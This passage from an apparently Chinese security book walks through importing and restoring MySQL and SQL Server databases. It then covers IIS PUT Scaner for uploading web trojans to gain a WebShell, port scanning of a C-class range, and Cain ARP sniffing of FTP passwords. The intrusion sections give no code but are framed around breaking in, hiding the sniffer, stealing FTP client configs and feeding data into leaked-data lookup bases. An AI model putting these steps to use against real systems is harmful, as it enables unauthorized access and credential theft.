//已新建数据库 db,将 backupdatabase20140916.sql 文件导入
2.使用MySQL命令导入和导出
将数据库xxx导出为D盘根目录下的xxx.sql文件,示例如下。
D:\ComsenzEXP\MySQL\bin>mysql -uroot -p123456 -hlocalhost xxx >d:\xxx.sql
将数据库D盘下的xxx.sql文件导入数据库xxx中,示例如下。
D:\ComsenzEXP\MySQL\bin>mysql -uroot -p123456 -hlocalhost xxx <d:\xxx.sql
或者登录MySQL以后通过命令导入,示例如下。
source d:\xxx.sql
1.12.3 将HTML文件导入MySQL数据库
某些数据库,既不是SQL文件,也不是TXT、CSV、XLS等文件,而是HTML文件,数据在HTML文件中以表格的形式存在。打开该文件,数据以表格的形式展现,如图1-118所示。
图1-118 以表格的形式显示数据
01 选择导入类型
研究发现,Navicate可以导入多种类型的数据。如图1-119所示,单击选中“HTML文件(*.htm;*.html)”单选按钮(对各种类型的数据库,在导入过程中针对不同的类型进行选择),单击“下一步”按钮。
图1-119 选择导入类型
02 查看文件的编码格式
在导入之前,需要知道文件以何种格式进行编码。在本例中,使用Notepad软件将文件打开,打开“格式”菜单,可以看到该文件是以UTF-8格式编码的,如图1-120所示。在后续导入时需要选择此种编码方式,否则导入的数据在数据库中会显示为乱码。
图1-120 查看文件的编码方式
03 选择编码方式
在导入向导的第二步中需要选择编码方式。如图1-121所示,在本例中,我们通过查看文件格式编码已经知道其编码方式为UTF-8,因此要在“编码”下拉列表中选择“65001(UTF-8)”选项。如果编码格式选择错误,导入的数据会显示为乱码而无法查看,所以这一步很关键。
图1-121 选择编码
04 设定栏名称和起始数据行
在导入向导的第四步中,需要设定是否显示列名,如图1-122所示。如果要设置导入数据的第一行为栏名称,则输入数字“1”;如果要设置导入数据的第二行为栏名称,则输入数字“2”,此时第一行数据表示从第几行开始导入数据,如果选择“1”则表示从第一行开始,如果选择“2”则表示从第二行开始;最后一行可以不输入。
图1-122 设定数据库栏名称
05 设定目标表
在第五步中,需要设定目标表和源表,默认会显示同样的名称,如图1-123所示。可以手动修改目标表的名称,可以选择新建表,也可以使用数据库中已经存在的表。
图1-123 设定表名称
06 设置目标表的列名
设置目标表的栏位名称,如图1-124所示,默认会显示第一行的数据为栏位名称。可以对每一个目标栏位的名称进行设置,可以是默认名称,也可以对其进行修改,同时设置类型和长度等值。单击“下一步”按钮,在导入模式中选择“添加:添加记录到目标表”选项后进行数据的导入。
图1-124 设定栏名称
07 查看导入日志
导入过程中会显示导入的百分比,当显示导入100%时,表示数据已经全部导入,在导入向导中会显示导入的日志,如图1-125所示,其中包括导入的文件、新建的表等信息。
图1-125 查看日志
导入成功,会显示“Finished Successfully”;如果导入过程中有错误,则可以将日志信息复制下来进行查看并重新导入数据。单击“关闭”按钮完成数据的导入。
08 查看导入的数据
打开刚才导入的数据库表,可以看到所有数据成功且正确地导入,后续可以对数据进行处理和查看操作。可以集成到社工库进行查询,也可以将数据保存。
1.12.4 将MSSQL数据库导入MySQL数据库
将MSSQL数据库导入MySQL数据库与将HTML文件导入MySQL数据库的操作基本相同。在“导入类型”中选择“ODBC”选项,在数据链接属性中选择“Microsoft OLE DB Provider For SQL Server”选项,如图1-126所示,根据不同的数据驱动选择不同的OLE DB提供程序。
图1-126 选择OLE DB
单击“连接”按钮,输入服务器名称“.”、IP地址或者数据库服务器的名称。“.”表示是本机或者localhost。输入登录服务器的信息,即选择数据连接方式是采取Windows集成安全设置实现,还是通过数据库用户和密码实现。最后,选择一个数据库并进行连接测试,如图1-127所示,如果显示“测试连接成功”,则可以进行后续步骤。后续步骤与将HTML文件导入MySQL数据库类似,在此就不赘述了。
图1-127 测试数据库连接
1.12.5 将XLS或者XLSX文件导入MySQL数据库
将XLS或者XLSX文件导入MySQL数据库时,除了在第二步中需要选择数据表外,其他步骤与前面介绍的步骤相同。如图1-128所示,选择存在数据的表,如sheet1和sheet2。在Office 2003中,数据库每个表行数的最大值为65 536;在Office 2007中,最大值为1 048 576(超过100万)。
图1-128 选择要导入的XLS或者XLSX文件
1.12.6 导入技巧和出错处理
导入出现错误时该如何解决?下面介绍一些简单有效的方法。
1.进行转码处理
使用Notepad或者其他文件编辑器打开文件,在菜单中选择“格式”选项。如图1-129所示,选择“转为UTF-8编码格式”选项,文件将以UTF-8编码格式进行编码。
图1-129 进行转码处理
2.选择出错继续
在正式将数据导入数据库之前,勾选“遇到错误继续”复选框,如图1-130所示,导入过程中将不会因为导入的数据格式错误而终止。
图1-130 选择出错继续
3.错误信息的再处理
如图1-131所示,数据格式不全或者编码中有多余的特殊字符,将导致数据导入失败,没有被成功导入的数据会在日志中显示。将日志中的出错信息复制到Notepad软件中查看,修改其中的错误后,再在查询器中进行查询导入即可。
图1-131 错误信息的再处理
如图1-132所示,有些SQL文件会在导出选择编码时出错,特别是中文字符,会在其中显示为“?”,这时就需要进行替换。将“?”替换为“'”后,重新运行SQL文件即可。
图1-132 处理文件中的特殊字符
1.13 SQL Server还原数据库攻略
数据库安全一直是“兵家”必争之地。数据库是企业信息汇集的核心地带,其中的数据一旦出现事故,其影响是巨大的。尤其是在网络高度发达的今天,一旦企业的数据库出现问题,网上马上就会出现一些关于该企业的“爆料”——不管是玩笑还是恶意。总之,数据库安全不容小视。因此,我们在平时就要做足功课。虽然数据库安全是DBA或者安全管理人员的职责,但普通员工也可以了解相关知识,毕竟在激烈竞争的今天,多掌握一门技能,就多一份成功的希望和保证。下面笔者就对SQL Server 2005和SQL Server 2008的数据库还原进行详细介绍,并就恢复或者还原数据库时经常出现的问题给出解决方案。
1.13.1 还原备份SQL Server 2005数据库
本节将详细介绍SQL Server 2005数据库的新特性,并给出一个还原备份SQL Server 2005数据库的实例。
1.SQL Server 2005数据库新特性
SQL Server 2005与SQL Server 2000有很大的不同,在界面和功能上,SQL Server 2005都有很大的改进。SQL Server 2005新增了以下9项重要功能。
(1)Notification Services增强功能
Notification Services是一种新平台,是用于生成、发送并接收通知的高伸缩性应用程序,可以把及时的、个性化的消息发送给使用各种各样设备的数以千计乃至百万计的订阅方。
(2)Reporting Services增强功能
Reporting Services是一种基于服务器的新型报表平台,它支持报表创作、分发、管理和最终用户访问。
(3)新增的Service Broker
Service Broker是一种新技术,用于生成安全、可靠和可伸缩的数据库密集型应用程序。Service Broker提供应用程序用以传递请求和响应的消息队列。
(4)数据库引擎增强功能
数据库引擎引入了新的可编程性增强功能(例如,与Microsoft.NET Framework的集成,以及Transact-SQL的增强功能)、新的XML功能和新的数据类型,还包括对数据库的可伸缩性和可用性的改进。
(5)数据访问接口方面的增强功能
SQL Server 2005提供了Microsoft数据访问(MDAC)和.NET Frameworks SQL客户端提供程序方面的改进,为数据库应用程序开发人员提供了更好的易用性、更强的控制和更高的工作效率。
(6)Analysis Services的增强功能(SSAS)
Analysis Services引入了新的管理工具、集成开发环境及与.NET Framework的集成。许多新功能扩展了Analysis Services的数据挖掘和分析功能。
(7)Integration Services的增强功能
Integration Services引入了新的可扩展体系结构和新设计器,这种设计器将作业流从数据流中分离出来,并提供了一套丰富的控制流语义。Integration Services还对包的管理和部署进行了改进,同时提供了多项新的打包任务和转换。
(8)复制增强
复制在可管理性、可用性、可编程性、移动性、可伸缩性和性能方面提供了改进。
(9)工具和实用工具增强功能
SQL Server 2005引入了管理和开发工具的集成套件,改进了对大规模SQL Server系统的易用性、可管理性和操作的支持。
SQL Server 2005与SQL Server 2000在使用细节上有很多不同,SQL Server 2000用户切换到SQL Server 2005后会感到其变化之大。的确,在使用上有多细节的变化,笔者仅列举几个。
• 操作方式不同:SQL Server 2005是通过SQL Server Management Studio管理数据库的,因此可以依次单击“开始”→“程序”→“Microsoft SQL Server 2005”→“SQL Server Management Studio”选项打开数据库管理综合控制台。
• 提供的服务增多:通过服务管理器可以看到,SQL Server 2005增加了很多服务,如SQL Server Directory Helper、SQL Server Browser、SQL Server Vss Writer和SQL Server Integration Services,如图1-133所示。
图1-133 SQL Server 2005新增加的一些服务
• 管理控制台操作界面改动较大:SQL Server 2005将数据查询整合到一起,以前通过查询分析器进行的操作,现在直接整合在数据库管理中了,比以前方便、快捷。
• 其他改进:SQL Server 2005在功能上改进较多,需要用户自己体会。当然,微软每一次的改进都是以升级硬件为代价的,普通个人计算机运行SQL Server 2005,性能和速度会下降不少。如果是为了测试和体验,可以在安装完成后将与SQL Server 2005相关的所有服务都变成手动配置,在需要使用时启动即可。
有兴趣的读者朋友可以有针对性地去体验上面新增的9大功能和一些细节上的改变。在数据库操作中,非常重要的一个操作就是备份与还原,对于SQL Server 2000中的还原数据库,很多读者都是使用过,方法也非常简单,选择文件后进行强制还原,问题即可解决,然而,在SQL Server 2005中,却不能这样操作。下面就介绍如何还原一个备份的SQL Server 2005数据库。
2.还原备份SQL Server 2005数据库实例
备份数据库的理由很多,有的是为了防止出现意外,有的是开发需要,有的是入侵后将数据库还原打包,所有的备份的目的都是为了在需要的时候还原。恢复SQL Server 2005数据库的前提是在本机搭建了SQL Server 2005数据库平台,即安装了能够使用的SQL Server 2005数据库,且已经将备份文件放置在本地计算机中。下面讲解具体的恢复过程。
01 连接数据库引擎
第一次打开SQL Server Management Studio时,会自动弹出“连接到服务器”对话框,如图1-134所示,保持“服务器类型”、“服务器名称”及“身份验证”下拉列表的默认设置即可。
图1-134 连接到服务器
如果已经打开SQL Server Management Studio,则可以依次单击菜单栏上的“文件”→“连接对象资源管理器”选项,打开“连接到服务器”对话框,然后单击“连接”按钮。连接成功后,将打开“SQL Server Management Studio”控制台窗口,如图1-135所示。
图1-135 SQL Server Management Studio控制台
02 还原数据库操作
在SQL Server Management Studio控制台窗口选中数据库或者系统数据库,然后单击右键,在弹出的快捷菜单中选择“还原数据库”选项,打开“还原数据库”窗口,如图1-136所示。在该窗口中,需要设定目标数据库,可以手工输入目标数据库的名称,也可以单击“目标数据库”下拉列表,从已存在的数据库中选择目标数据库。另外,需要指定用于还原的备份集和位置,主要有两个,一个是源数据库,另一个是源设备。如果是数据库在线还原,就选择“源数据库”选项;如果是从物理文件还原,则选择“源设备”选项。
图1-136 还原数据库设定
03 添加备份文件的位置
“源设备”单选按钮,然后单击文本框右边的“…”按钮,在弹出的“指定备份”对话框中添加备份的位置。
04 定位备份文件
在“指定备份”对话框中单击“添加”按钮,会弹出“定位备份文件”对话框。默认情况下,SQL Server 2005会直接定位到其安装目录下的“MSSQL.1/MSSQL/Backup”目录,如图1-137所示,默认显示“*.bak”和“*.trn”两种备份文件。
图1-137 定位备份文件
在本例中选择“所有文件”,就会显示该目录下的所有备份文件,如图1-138所示。然后,选择一个需要备份的文件即可,在本例中选择“uniport”数据库。
图1-138 选择要还原的备份数据库文件
单击“确定”按钮完成文件的选择。返回“指定备份”对话框,如图1-139所示,单击“确定”按钮完成备份文件的选择。
图1-139 完成指定备份文件的选择
技巧
可以将所有备份文件都复制到“C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Backup”目录下,这样选择起来比较方便。
05 完成“还原的目标”和“还原的源”的设定
如图1-140所示,在“还原数据库”窗口的列表中需要还原的文件,在“还原的目标”设置区输入“uniport”,表示还原后的数据库名称是“uniport”。单击“确定”按钮还原数据库,如图1-141所示。
图1-140 完成“还原的目标”和“还原的源”的设定
图1-141 还原数据库
06 对还原错误的处理
进行还原数据库操作时,我们可能会遇到即使按照上面的步骤也无法还原数据库的情况。如图1-142所示,该错误提示表示目录不存在,即在E盘未建立相应的文件夹。
图1-142 还原数据库出现错误
解决方法很简单。按照“E:\Program Files\Microsoft SQL Server\MSSQL\Data”路径,分别在E盘根目录下建立“Program Files”文件夹,然后在“Program Files”文件夹下建立“Microsoft SQL Server”文件夹,在“Microsoft SQL Server文件夹”下建立“MSSQL”,在“MSSQL”下建立“Data”文件夹,如图1-143所示,然后按照前面的步骤重新选择,即可完成数据库的还原。在SQL Server 2005中,如果还原时出现如图1-142所示的错误,只要直接建立相应的文件夹便可解决,这对于大的数据库(超过1GB)还原来说无疑是福音。
图1-143 建立相应的文件夹
笔者曾经探讨过如何在SQL Server 2000中恢复一些较难恢复的数据库,即只有一个备份的数据库,没有任何其他信息。当时笔者给出的解决方案是通过UE直接打开数据库文件,从中寻找数据库的详细路径,当数据库文件过大时,使用UE打开,计算机会宕机。这个问题在SQL Server 2005中得到了完美的解决,数据库会自动提示问题出现的位置。
1.13.2 SQL Server 2008数据库还原故障的解决
当我们要查看一个大数据库的内容时,首先要恢复数据库。按照常规模式进行恢复,却弹出错误提示框。采用几种方法,包括从互联网上寻找他人的数据库还原故障解决方案,逐个进行测试,均未解决。笔者根据错误提示,大胆设想,终于成功恢复了数据,下面就将整个过程与读者分享。
1.常规数据库恢复方法
01 在SQL Server 2008企业管理器中新建名为“ChinaData”的数据库。
02 选择备份文件ChinaData.bak并进行恢复。恢复过程中出现错误提示框,如图1-144所示,没有错误号码,表示数据库恢复失败。对该数据库再次进行还原,并选择“强制还原”选项(即覆盖现有数据库),结果还是显示错误。
图1-144 数据库恢复错误提示
2.通过查询语句进行数据库恢复
通过百度搜索,获取3154错误的解决方法,其恢复过程会提示“备份集中的数据库备份与现有的数据库不同”,如图1-145所示。其解决方法如下。
图1-145 3154错误
01 获取数据库文件的data和log文件名
如果知道备份数据库的名称,可以跳过本步;如果不知道备份数据库的名称,可以先执行下面的语句。
RESTORE FILELISTONLY From disk = 'F:\路径\css_cms1' //备份数据库文件的路径名
执行该查询后,可以列出该文件的data和log文件名。
02 在知道数据库名称的情况下进行恢复
如果知道备份数据库的名称,就可以创建一个与之同名的数据库,然后使用以下语句进行还原。例如,该数据库的data文件是XXX_Data,log文件是XXX_log,那么就创建XXX数据库,然后执行如下SQL语句。
use master
restore database CSS_CMS from disk = 'F:\xx路径\file'--备份的数据库文件路径名
with replace, MOVE N'XXX_Data'
TO N'F:\要保存到的路径\Data\XXX.mdf',
MOVE N'XXX_log' TO
N'F:\要保存到的路径\Data\XXX.ldf'
一般情况下,通过以上方法就可以恢复,但在本例中,经过测试,该方法行不通。
3.再次分析失败原因,对数据库进行恢复
一般情况下,数据库无法恢复通常是以下3种情况。
(1)登录用户没有权限
还原数据库时会显示错误信息:“无法在服务器上访问指定的路径或文件。请确保您具有必需的安全权限且该路径或文件存在。如果您确定所用服务账户可以访问特定的文件,请在‘定位’对话框的‘文件名’控件中键入该文件的完整路径。”其解决方法是使用一个有权限的用户登录,例如sa用户。还有一种情况就是在服务管理器中查看SQL Server服务的用户权限,有些是system权限,有些是当前登录用户授权。通过修改服务的权限,可以解决某些情况下登录用户没有权限的问题。
(2)还原路径不存在
对这种错误,需要手动修改路径,只要路径确实存在,就可以解决。
(3)还原路径文件有重名
这种错误出现的原因是还原的文件恰好在默认位置有同名文件,无法覆盖。
笔者对以上3个可能出现的问题进行了测试和修正,还是没有解决问题,于是只好查看SQL Server 2008的日志文件,如图1-146所示,但仍然没有找到解决的办法。
图1-146 查看日志文件
再次对数据库进行还原,发现原始文件名在“将数据库文件还原为”列表中全部为同一个名称,怀疑是文件名称不一致,如图1-147所示。
图1-147 原始文件名与还原名的一致性问题
依次按照原始文件名,在还原中将chinadata. mdf和chinadata.ndf进行对应。例如,原始文件名为“ChinaData_9”,则应在还原中修改为“chinadata_9.mdf”和“chinadata_9.ndf”进行对应。然后,单击“还原”按钮,问题解决了!该问题属于原始文件名与还原名称的一致性问题。通过解决该问题,我们掌握了解决SQL Server 2008数据库还原错误的方法。
1.14 使用IIS PUT Scaner扫描常见端口
IIS PUT Scaner本来是一款IIS读写工具,可以通过扫描服务器进行文件上传测试。如果能够上传,则通过“桂林老兵”等工具上传网页木马而获取WebShell。但在实际使用过程中,还有一个常见的端口扫描功能比较好用。IIS PUT Scaner在初次渗透或者在成功渗透一台服务器后使用效果较佳。
1.14.1 设置扫描IP地址和扫描端口
在“Setting”设置区输入“Start IP”和“End IP”的值,如图1-148所示,可以是一个IP地址,也可以是一段IP地址,一般是扫描一个C段网络,端口可以设置为21、22、80、1433、3306、8080、3389等常见的端口。
图1-148 设置IIS PUT Scaner
1.14.2 查看和保存扫描结果
可以选择“Try to upload file”选项进行文件上传测试。单击“Scan”按钮,开始扫描端口。如图1-149所示,扫描得到5条Host记录。选中一条Host记录,单击右键,在弹出的快捷菜单中选择“Visit Web”选项,即可以在浏览器中访问该IP地址。
图1-149 查看扫描结果
在扫描结果区域单击右键,在弹出的快捷菜单中选择“Export”选项,即可将扫描结果导出到C盘根目录。如图1-150所示,将扫描结果保存为iisputlist.txt文件。打开iisputlist.txt文件,可以看到其内容为“IP地址:端口”形式,如图1-151所示。
图1-150 保存扫描结果
图1-151 查看iisputlist.txt文件的内容
1.14.3 再次扫描扫描结果
如果IIS PUT Scaner扫描能够得到结果,就可以再次通过NMAP等工具进行详细扫描。如图1-152所示,在“Target”下拉列表中设置IP地址为114.249.225.83,选择不同的扫描方式进行完整扫描、快速扫描等,在扫描结果中可以看到,服务器还开放了1723端口和3389端口,表明该服务器很可能为Windows服务器。然后,我们就可以针对相应的端口和服务进行后续的渗透测试了。
图1-152 再次扫描目标
1.15 使用Cain嗅探FTP密码
使用Cain嗅探FTP密码适用于两种情况。一种情况是因为使用FTP软件时间较长而忘记了FTP的密码,又需要知道FTP的用户名和密码(FTP的用户名是明文,密码则是以多个“*”显示)。另一种情况是在入侵过程中获取了某FTP完整软件,也就是说,该FTP软件中包含用户使用FTP的账号和密码等信息,只要将整个文件夹复制到本地或者将配置文件复制到本地即可使用,但为了满足好奇心,往往需要知道该账号或者配置文件中所有账号所对应的密码。虽然可以通过软件的导入等功能将FTP的账号等信息导入本地FTP软件中使用,但还是不如自己明明白白。随着FTP软件开发技术的提高,大部分FTP软件的新版本已经屏蔽了使用星号密码查看器查看FTP软件中的账号所对应的密码的机制,这个时候,就只能使用Cain获取FTP密码了。
1.15.1 安装Cain
“Cain”的全称是“Cain& Abel”,最新版本为4.9.56,该公司的网址是http://www.oxid.it,用户可以到该公司的站点下载该软件。下载后按照正常软件的安装流程进行安装。安装结束后,程序会要求用户安装WinPcap抓包软件,安装完毕即可使用。
1.15.2 设置Cain
运行Cain软件,在菜单中选择“Configure”选项,将弹出“Configuration Dialog”对话框,如图1-153所示。在其中选择用于上网的网卡,如本例选择IP地址为125.*.*.*的网卡,然后勾选窗口下方的“Start Sniffer on start”和“Start ARP on start”复选框,最后单击“确定”按钮完成设置。
图1-153 设置Cain
1.15.3 开始监听
回到主界面后,如图1-154所示,单击主界面窗口左上角的网卡和圆形图形按钮开始监听。
图1-154 开始监听
1.15.4 运行FTP客户端软件
在肉机(本机)上运行FTP客户端软件,在本例中使用的是FlashFTP。运行FlashFTP后,依次连接站点中的FTP主机地址,如果用户名和密码正确,就会进入FTP服务器的相应目录。该服务器是一个文件服务器,其中有很多电影文件,下载速度比较快。
1.15.5 查看监听结果
在Cain的主界面上单击“Sniffer”标签,在下方单击“Passwords”标签,就会在表格中看到Cain Sniffer的结果,如图1-155所示,FTP Server地址、用户名及密码一目了然。
图1-155 查看Sniffer结果
技巧
(1)先看Cain主界面的左边窗口,在密码下面即为Sniffer的结果。Sniffer的结果是一个树形结构,如果在“(0)”中显示的是监听结果,则本例中有监听结果的是“Ftp(4)”,表示监听到4个FTP密码记录。
(2)依次单击“View”→“Hide”选项,或者使用“Alt+Del”快捷键,可以隐藏Cain监听窗口,而且在计算机上看不到Cain的任何信息,由此即可达到隐藏的目的。
(3)Cain的监听结果会保存在Cain安装目录下的对应LST文件中。本例中监听到的是FTP密码,则结果会保存在ftp.lst文件中。打开该文件,如图1-156所示,可以看到FTP服务器地址、客户端地址、用户名和密码,按照大小进行排序,可以很方便地找出含有监听结果的LST文件,将其复制到本地即可查看监听结果。
图1-156 文件保存中的监听结果
1.15.6 小结与探讨
Cain是一款强大的监听软件,除了密码监听外,还可以进行密码破解等。在入侵过程中,一旦知道对方使用CuteFTP、FlashXP等FTP客户端,则可以将其整个目录及配置文件复制到本地,通过在本地还原或者获取其密码获取更多的信息,甚至直接或者间接提升权限。这种方法虽然没有Serv-U提升权限那么直接,但是结合社会工程学进行木马捆绑诱骗,其效果还是不错的,是入侵过程中的一盏明灯!